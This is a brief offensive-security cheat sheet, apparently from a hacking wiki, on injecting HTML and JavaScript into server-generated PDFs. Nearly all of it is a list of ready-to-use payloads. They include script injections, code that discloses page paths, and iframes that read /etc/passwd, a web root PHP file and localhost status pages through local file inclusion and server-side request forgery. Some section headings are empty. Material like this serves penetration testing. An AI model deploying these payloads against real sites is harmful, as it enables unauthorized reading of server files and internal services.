githubEdit

XSS with Dynamic PDF

XSS with Dynamic PDF

If the PDF file, which is created somewhere in the website, that is reflected our payloads, we can insert malicious code.

Basic

<img src='x' onerror="document.write('test')">
<script>document.write('test')</script>

"><h1>XSS</h1>

Path Disclosure

<img src='x' onerror="document.write(JSON.stringify(window.location))">
<script>document.write('<iframe src=\"' + window.location.href + '\"></iframe>')</script>

LFI/RFI

<iframe src="file:///etc/passwd"></iframe>
<iframe src=file:///etc/passwd width=1000px height=1000px></iframe>
<iframe src=file:///var/www/html/index.php width=1000px height=1000px></iframe>
<iframe src="http://localhost:3000/index.html"></iframe>
<iframe src="http://localhost/server-status" height="1000" width="1000"></iframe>

<img src='x' onerror="document.write('<iframe src=file:///etc/passwd></iframe>')">

LFI/RFI (XHR request)

External Scripts

AWS Instances

wkhtmltopdf

If the website uses “wkhtmltopdf”, please also refer to this pagearrow-up-right.

References

Last updated